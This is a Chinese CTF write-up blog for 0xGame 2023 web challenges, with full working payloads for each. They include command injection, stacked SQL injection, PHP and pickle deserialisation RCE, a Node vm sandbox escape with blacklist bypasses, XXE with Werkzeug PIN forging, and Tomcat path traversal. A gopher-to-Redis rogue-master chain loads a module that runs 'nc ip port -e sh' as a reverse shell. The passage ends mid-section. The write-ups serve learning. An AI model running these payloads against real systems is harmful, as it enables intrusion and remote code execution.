Z1d10tのBlog

A note for myself,have fun!

  1. 1. WEEK1
    1. 1.1. [Week 1] signin
    2. 1.2. [Week 1] hello_http
    3. 1.3. [Week 1] baby_php
    4. 1.4. [Week 1] ping
    5. 1.5. [Week 1] repo_leak
  2. 2. WEEK2
    1. 2.1. [Week 2] ez_upload
    2. 2.2. [Week 2] ez_sqli
    3. 2.3. [Week 2] ez_unserialize
    4. 2.4. [WEEK2]ez_sandbox
  3. 3. WEEK3
    1. 3.1. [Week 3] notebook
    2. 3.2. [Week 3] rss_parser
    3. 3.3. [Week 3] zip_file_manager
    4. 3.4. [Week 3] web_snapshot
    5. 3.5. [Week 3] GoShop
  4. 4. WEEK4
    1. 4.1. [Week 4] spring(学习)
    2. 4.2. [Week 4] auth_bypass(学习)
    3. 4.3. [Week 4] YourBatis(学习)
    4. 4.4. [Week 4] TestConnection(学习)
      1. 4.4.1. 解法一
      2. 4.4.2. 解法二 利用 postgresql 驱动
  5. 5. 结尾

0xgame的师傅出的题都很好!!

WEEK1

[Week 1] signin

找j源码就有

img

[Week 1] hello_http

经典考察http协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /?query=ctf HTTP/1.1
Host: 124.71.184.68:50012
Content-Length: 14
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://124.71.184.68:50012
Content-Type: application/x-www-form-urlencoded
User-Agent: HarmonyOS Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: ys.mihoyo.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For: 127.0.0.1
Cookie: role=admin
Connection: close

action=getflag

[Week 1] baby_php

经典题型 注意一下这里就是要用伪协议去读 别直接包含flag那样读不出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /?a=QNKCDZO&b=240610708 HTTP/1.1
Host: 120.27.148.152:50014
Content-Length: 11
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://120.27.148.152:50014
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://120.27.148.152:50014/?a=QNKCDZO&b=240610708
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: name=php://filter/read=convert.base64-encode/resource=flag
Connection: close

c=1024.1%00

[Week 1] ping

疑似被搅屎了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

function sanitize($s) {
$s = str_replace(';', '', $s);
$s = str_replace(' ', '', $s);
$s = str_replace('/', '', $s);
$s = str_replace('flag', '', $s);
return $s;
}

if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}

if (!isset($_POST['ip'])) {
die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?>

img

没搅屎的payload:

用base64编码绕过就行

1
ip=127.0.0.1|echo${IFS}"Y2F0IC9mKg=="|base64${IFS}-d|bash

[Week 1] repo_leak

要用这个工具才能找到git泄露https://github.com/gakki429/Git_Extract

githack拉取不到

然后翻源码能找到

img

WEEK2

操你妈不知道是我这里校园网的原因 环境一直像狗屎一样恶心我

文件上传一直访问不到文件 sql注入一直转圈链接失败

[Week 2] ez_upload

考点:

  • 二次渲染

https://github.com/hxer/imagecreatefrom-/tree/master 项目地址

img

[Week 2] ez_sqli

考点:

  • 堆叠注入
  • 预处理
  • 报错注入

payload:

1
2
3
4
?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C646174616261736528292929;prepare/**/aaa/**/from @c;execute/**/aaa;
?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2853454C4543542047726F75705F636F6E636174287461626C655F6E616D65292046524F4D20696E666F726D6174696F6E5F736368656D612E7461626C6573205748455245207461626C655F736368656D61203D2027637466272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;
?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D276374662720616E64207461626C655F6E616D653D27666C6167272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;
?order=id;set/**/@c=0x73656c656374206578747261637476616c756528312c636f6e63617428307837652c307837652c737562737472282873656c65637420666c61672066726f6d206374662e666c6167292c312c33302929293b;prepare/**/aaa/**/from @c;execute/**/aaa;

需要注意的几个点是:

  • 0x字符串是预处理语句的字符转16进制
  • 最后报错注入获得flag的时候要利用substr函数截取flag 不然显示不全
  • 语句间虽然没有ban空格但是空格会被tun 还是给替换了。。 反正/**/绕一下

[Week 2] ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

show_source(__FILE__);

class Cache {
public $key;
public $value;
public $expired;
public $helper;

public function __construct($key, $value, $helper) {
$this->key = $key;
$this->value = $value;
$this->helper = $helper;

$this->expired = False;
}

public function __wakeup() {
$this->expired = False;
}

public function expired() {
if ($this->expired) {
$this->helper->clean($this->key);
return True;
} else {
return False;
}
}
}

class Storage {
public $store;

public function __construct() {
$this->store = array();
}

public function __set($name, $value) {
if (!$this->store) {
$this->store = array();
}

if (!$value->expired()) {
$this->store[$name] = $value;
}
}

public function __get($name) {
return $this->data[$name];
}
}

class Helper {
public $funcs;

public function __construct($funcs) {
$this->funcs = $funcs;
}

public function __call($name, $args) {
$this->funcs[$name](...$args);
}
}

class DataObject {
public $storage;
public $data;

public function __destruct() {
foreach ($this->data as $key => $value) {
$this->storage->$key = $value;
}
}
}

if (isset($_GET['u'])) {
unserialize($_GET['u']);
}
?>

一开始对这里有点陌生 自己举个例子理解一下

img

如果这是$this->data是个数组 那么就很好理解了 记录一下

img

然后是pop链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class Cache {
public $key;
public $value;
public $expired;
public $helper;
}
class Storage {
public $store;
}
class Helper {
public $funcs;
}
class DataObject {
public $storage;
public $data;
}
$a = new DataObject();
$a->storage = new Storage();
$b = new Cache();
$a->data = ["Z1d10t"=>$b];
$b->expired = 1;
$b->helper = new Helper();
$b->helper->funcs = ["clean"=>"system"];
$b->key = 'env';
echo serialize($a);
?>

注意:

  • 这里赋值数组时候不能用array("1"=>"1"); 要用["1"=>"1"] 实测第一种会断开链子
  • expired函数调用在这里 很微妙 容易忽略img

[WEEK2]ez_sandbox

一道原型链污染+vm沙盒逃逸的题目

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
secret: crypto.randomBytes(64).toString('hex'),
resave: false,
saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) { //污染函数
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(source) { //调用污染函数点
return merge({}, source)
}

function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}

function requireLogin(req, res, next) {
if (!req.session.user) {
res.redirect('/login')
} else {
next()
}
}

app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})

app.get('/', requireLogin, function(req, res) {
res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
let { username, password } = clone(req.body)

if (username in users && password === users[username]) {
req.session.user = username

if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}

res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})

app.post('/register', function(req, res) {
let { username, password } = clone(req.body)

if (username in users) {
res.send({
'message': 'register failed'
})
} else {
users[username] = password
res.send({
'message': 'register success'
})
}
})

app.get('/profile', requireLogin, function(req, res) {
res.send({
'user': req.session.user,
'role': req.session.role
})
})

app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)

try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})

app.get('/logout', requireLogin, function(req, res) {
req.session.destroy()
res.redirect('/login')
})

app.listen(3000, function() {
console.log('server start listening on :3000')
})

首先需要原型链污染让我们以admin身份登录

这里禁用了__proto__

所以这里可以通过constructor.prototype来bypass

因为__proto__=constructor.prototype

img

之后就是vm沙盒逃逸 参考NodeJS VM和VM2沙箱逃逸 - 先知社区

因为this为null

img

所以我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。

我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了

除此之外这道题沙箱没有返回值 我们可以借助异常,将沙箱内的对象抛出去,然后在外部输出

在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message 属性 (即 e.message)
通过 JavaScript 的 Proxy 类或对象的 defineGetter 方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数

除此之外还要绕一下waf

这里提供两种paylaod

bypass姿势参考:nodejs中代码执行绕过的一些技巧-安全客 - 安全资讯平台奇安信攻防社区-NodeJS中的RCE的利用和绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#第一种利用模板字符串
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc[`${`constructo`}r`][`${`constructo`}r`](`return ${`proces`}s`))();
return p[`${`mainModul`}e`][`${`requir`}e`]('child_pr'+'ocess')[`${`exe`}cSync`}`]('id').toString();
}
})
#第二种利用字符串拼接
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc['const'+'ructor']['cons'+'tructor']('return pr'+'ocess'))();
return p['mai'+'nModule']['re'+'quire']('child_p'+'rocess')['exe'+'cSync']('cat /f*').toString();
}
})

img

WEEK3

[Week 3] notebook

考点:

  • pickle反序列化

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
def __init__(self, name, content):
self._name = name
self._content = content

@property
def name(self):
return self._name

@property
def content(self):
return self._content


@app.route('/')
def index():
return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')

note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')

note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
note_name = request.form.get('note_name')
note_content = request.form.get('note_content')

if note_name == '' or note_content == '':
return render_template('index.html', status='add_failed', msg='note name or content is empty')

note_id = str(uuid.uuid4())
note = Note(note_name, note_content)

if not session.get('notes'):
session['notes'] = {}

notes = session['notes']
notes[note_id] = pickle.dumps(note)
session['notes'] = notes
return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
note_id = request.form.get('note_id')
if not note_id:
return render_template('index.html')

notes = session.get('notes')
if not notes:
return render_template('index.html', status='delete_failed', msg='You have no notes')

if not notes.get(note_id):
return render_template('index.html', status='delete_failed', msg='This note does not exist')

del notes[note_id]
session['notes'] = notes
return render_template('index.html', status='delete_success')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

大致审计一下

大致思路为/add_note下会将我们提交的数据进行pickle序列化 内容保存在session中

然后在/<path:note_id>进行pickle反序列化

那么如果我们可以控制session 将里面的正常序列化数据改为恶意数据 那么就可以实现RCE了

遇到的一些问题:

  1. 首先是flask_unsign脚本爆破sercet的问题 这个脚本需要最原始的session来进行爆破 如果是提交了任何参数的session都会爆不出secret
  2. 因为我们opcode加上我们的payload一般还有一些特殊字符比如/ &那么进行伪造session的时候就会涉及到转义的问题 转义头都大了 这里Aecous师傅提供了一种好的方法 可以现在自己本地搭建好题目 然后修改相关生成的session的参数 让题目自己去处理session转义问题 然后直接本地获取含恶意payload的session然后再提交给题目 (记得本地secret_key也要保持和题目一致 )img
  3. 关于R指令的问题这个题目好像R指令稍稍有点问题导致没法弹回payload 可以试着用其他指令比如我用的是i指令 (回来补坑了 因为用pickle.dumps() 来生成 payload, 不同操作系统⽣成的 pickle 序列化数据是有区别的 因此我们windows生成的payload在linux用不了 参考:pickle反序列化初探 - 先知社区

[Week 3] rss_parser

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
feed_url = request.form['url']
if not re.match(r'^(http|https)://', feed_url):
return redirect('/')

content = requests.get(feed_url).content
tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

result = {}

rss_title = tree.find('/channel/title').text
rss_link = tree.find('/channel/link').text
rss_posts = tree.findall('/channel/item')

result['title'] = rss_title
result['link'] = rss_link
result['posts'] = []

if len(rss_posts) >= 10:
rss_posts = rss_posts[:10]

for post in rss_posts:
post_title = post.find('./title').text
post_link = post.find('./link').text
result['posts'].append({'title': post_title, 'link': unquote(post_link)})

return render_template('index.html', feed_url=feed_url, result=result)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)

简单审计

大致思路为它会通过http协议去访问一个网站 然后将其访问到的内容通过xml解析出来 然后正则匹配相关的内容 然后帮我们渲染出来

resolve_entities=True重点关注这个 如果这个选项被设置为了true 那么它就会帮我们解析xml实体

img

来自:python_code_audit/XXE.md at master · MisakiKata/python_code_audit

除此之外debug=True这意味着 如果我们能计算出pin值 我们就可以通过/console直接进行rce

所以我们的思路就是:

  1. 用vps起一个python http服务 然后把有恶意内容的xml文件放其目录中
  2. 访问 读取相关计算pin码的文件
  3. rce

xml文件内容如下:

img

起http服务

img

读取到相关配置文件内容

img

然后这道题目其实/proc/self/cgroup是空的

只需要读取/etc/machine-id值就可以计算machine-id了

然后用户是app 路径报错得到

计算pin码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import hashlib
from itertools import chain

probably_public_bits = [
'app' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485378744322', # /sys/class/net/eth0/address 十进制
'96cec10d3d9307792745ec3b85c89620'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

直接反弹shell

img

拿下

img

[Week 3] zip_file_manager

考点:

  • 软链接

直接通过软链接将根目录下的flag勾出来

1
2
ln -s /flag  test
zip --symlinks test.zip ./test

[Week 3] web_snapshot

考点:

  • redis主从复制
  • ssrf
  • gopher协议

主要源码如下:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);

function _get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$data = curl_exec($curl);
curl_close($curl);
return $data;
}

function process() {
$redis = new Redis();
$redis->connect('db', 6379);
$redis->slaveOf();

if (isset($_POST['url'])) {
$url = $_POST['url'];

if (!preg_match('/^https?:\/\/.*$/', $url)) {
return '<div class="alert alert-danger">Invalid URL! The URL must start with <code>http://</code> or <code>https://</code></div>';
}

$id = md5($url.time());
$data = _get($url);
$redis->setEx($id, 600, $data);

return '<div class="alert alert-success">Snapshot success! Link: <a href="cache.php?id='.$id.'">cache.php?id='.$id.'</a></div><h2>Source</h2><pre><code class="language-html">'.htmlspecialchars($data).'</code></pre>';
}
}
?>

ping.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);

$redis = new Redis();
$redis->connect('db', 6379);
$redis->slaveOf();

if ($redis->ping()) {
echo 'pong';
} else {
echo 'Connection error';
}
?>

cache.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);

$id = $_GET['id'];

if (!preg_match('/^[a-f0-9]{32}$/', $id)) {
die('Invalid ID');
}

$redis = new Redis();
$redis->connect('db', 6379);
$redis->slaveOf();

$data = $redis->get($id);

if ($data) {
echo $data;
} else {
die('No snapshot found!');
}
?>

简单审计就能看到index.php中存在ssrf 并且限制了只能以http/https协议

当然curl除了http/https协议外还支持dict/gopher协议

再来看curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);

img

当其被设置为true时 会根据服务器http头中的location进行重定向

二者结合起来 我们就可以通过 Location 头把协议从 http 重定向至 dict / gopher

再审计cache.php和ping.php可知 web服务和redis服务不在一个服务器上

img

这就导致我们没法直接通过写入文件getshell

那么就要利用到redis主从复制了 参考:Redis 基于主从复制的 RCE 利用方式

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

通过slave of设置主从状态

(偷的图)

img

可以看到在主机修改值之后会同步到从机上

img

利用原理:

当两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上

然后我们可以利用从机加载so文件,我们就可以执行拓展的新命令了

整个流程图如下:

img

首先先生成重定向恶意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib.parse
poc1= ''' HTTP/1.1
SLAVEOF ip port
CONFIG SET dbfilename exp.so
'''
#SLAVEOF设置主服务器 我们自己的恶意服务器
#CONFIG SET dbfilename为指定保存文件名
poc2=''' HTTP/1.1
MODULE LOAD ./exp.so
system.rev 123 123
'''
#module load ./1.so 加载恶意文件
# system.rev后面被Aecous师傅魔改了,因为弹不了shell,正常使用就是ip port
payload = urllib.parse.quote(poc1).replace("%0A", "%0D%0A")
payload = "gopher://db:6379/" + payload
print(payload)

在vps起个php文件用php -S 0.0.0.0:port或者用nginx,apache都行

让题目去依次访问这两个文件

再起个恶意redis server 推荐:GitHub - Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement

恶意Server使用,-v为恶意Server模式,指定port和恶意文件开启监听

1
python3 redis_rogue_server.py -v -lport 8888 -path exp.so  

这里恶意so文件由Aecous师傅完成的真的tql

魔改RedisModulesSDK/exp/exp.c一个函数,make编译后生成exp.so文件 项目地址:https://github.com/vulhub/redis-rogue-getshell

魔改内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 3) {
size_t cmd_len;
char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
int port = atoi(port_s);
int pid;
char * succ= "+OK";
pid = fork();
if (pid || pid == -1){
RedisModuleString *ret = RedisModule_CreateString(ctx, succ, strlen(succ));
RedisModule_ReplyWithString(ctx, ret);
RedisModule_FreeString(ctx,ret);
return REDISMODULE_OK;
}

system("nc ip port -e sh");

return REDISMODULE_OK;

} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}

起server

img

访问1.php

img

恶意服务器会持续通信写入 之前代码没有加quit的话 会一直写入 一次就可以exit出来了

img

然后访问2.php 加载恶意so文件 反弹shell

img

img

[Week 3] GoShop

考点:

  • 整数溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
func BuyHandler(c *gin.Context) {
s := sessions.Default(c)
user := users[s.Get("id").(string)]

data := make(map[string]interface{})
c.ShouldBindJSON(&data)

var product *Product

for _, v := range products {
if data["name"] == v.Name {
product = v
break
}
}

if product == nil {
c.JSON(200, gin.H{
"message": "No such product",
})
return
}

n, _ := strconv.Atoi(data["num"].(string))

if n < 0 {
c.JSON(200, gin.H{
"message": "Product num can't be negative",
})
return
}

if user.Money >= product.Price*int64(n) {
user.Money -= product.Price * int64(n)
user.Items[product.Name] += int64(n)
c.JSON(200, gin.H{
"message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
})
} else {
c.JSON(200, gin.H{
"message": "You don't have enough money",
})
}
}

这里直接看官方WP吧 0xGame 2023 Web Official Writeup

本人乱点出的qwq

img

WEEK4

[Week 4] spring(学习)

考点:

  • Spring Boot Actuator未授权 headdump泄露

Actutator是一个生产环境部署时可使用的功能,用来监控和管理应用程序。支持选择HTTP Endpoints 或者JMX的方式来访问,同样支持查看应用程序的Auding,health和metrics信息。

首先访问/actuator/env 查看环境变量发现flag是密码 密码被改为星号了

img

访问/actuator/headdump

spring actuator 默认会把含有 password secret 之类关键词的变量的值改成星号, 防⽌敏感信息泄露 但是我们可以通过 /actuator/heapdump 这个路由去导出 jvm 中的堆内存信息, 然后通过⼀定的查询得到 app.password 的明文

这里我用的是MAT工具Eclipse Memory Analyzer Open Source Project | The Eclipse Foundation

查询语句:

1
SELECT * FROM java.util.LinkedHashMap$Entry x WHERE(toString(x.key).contains("app.password"))

img

[Week 4] auth_bypass(学习)

考点:

  • Tomcat Filter绕过+java任意文件下载搭配WEB-INF目录利用

源码如下:

AuthFilter.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.demo;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class AuthFilter implements Filter {

@Override
public void init(FilterConfig filterConfig) {
}

@Override
public void destroy() {
}

@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;

if (request.getRequestURI().contains("..")) {
resp.getWriter().write("blacklist");
return;
}

if (request.getRequestURI().startsWith("/download")) {
resp.getWriter().write("unauthorized access");
} else {
chain.doFilter(req, resp);
}
}
}

DownloadServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example.demo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.FileInputStream;
import java.io.IOException;

public class DownloadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

String currentPath = this.getServletContext().getRealPath("/assets/");
Object fileNameParameter = req.getParameter("filename");
if (fileNameParameter != null) {
String fileName = (String) fileNameParameter;
resp.setHeader("Content-Disposition","attachment;filename="+fileName);
try (FileInputStream input = new FileInputStream(currentPath + fileName)) {
byte[] buffer = new byte[4096];
while (input.read(buffer) != -1) {
resp.getOutputStream().write(buffer);
}
}
} else {
resp.setContentType("text/html");
resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
}
}
}

简单审计就是一个文件读取的功能 并且有blacklist

首先如何绕过blacklist ..和关键字/download

这里利用了java中 getRequestURI() 的缺陷 这个函数在解析url时不会自动进行url解码 也不会进行标准化 (去除多余的/和..)

参考:getRequestURI 导致的安全问题 - depycode - 博客园

以直接访问 //download 就能绕过

之后目录穿越下载文件的时候可以将.. 进行⼀次 url 编码 就能绕过

所以可以通过 //download?filename=文件 来读取文件 这道题目需要./readflag因此不能直接将flag读出来

根据题目描述 网站使用war打包

img

Tomcat 在部署 war 的时候会将其解压, ⽽压缩包内会存在⼀个 WEB-INF ⽬录, ⽬录⾥⾯包含编译好的 .class ⽂件以及 web.xml (保存路由和类的映射关系 )

下载web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//download?filename=%2e%2e/WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>IndexServlet</servlet-name>
<servlet-class>com.example.demo.IndexServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.example.demo.DownloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>EvilServlet</servlet-name>
<servlet-class>com.example.demo.EvilServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>IndexServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>EvilServlet</servlet-name>
<url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern>
</servlet-mapping>

<filter>
<filter-name>AuthFilter</filter-name>
<filter-class>com.example.demo.AuthFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>AuthFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

可以看到EvilServlet类的/You_Find_This_Evil_Servlet_a76f02cb8422路由

通过包名 (com.example.demo.EvilServlet) 构造对应的 class 文件路径并下载

1
//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class  

再利用JD-GUI工具进行反编译打开

img

发现命令执行利用点

利用这个工具生成paylaod java.lang.Runtime.exec() Payload Workarounds - @Adminxe

记得post打入的时候url全字符编码一下

img

成功

img

[Week 4] YourBatis(学习)

考点:

  • MyBatis低版本OGNL注入
  • OGNL 表达式注入

首先将给的jar包进行反编译 在idea打开

首先查看依赖 发现存在MyBatis依赖 并且是低版本2.1.1 该版本存在OGNL表达式注入

之后开个篇章学习一下 WP就不过多赘述了

推荐:奇安信攻防社区-从一道CTF题浅谈MyBatis与Ognl的那些事Mybatis 从SQL注入到OGNL注入 - panda | 热爱安全的理想少年

存在一个/user路由

img

主要代码如下

1
2
3
4
5
6
7
8
9
10
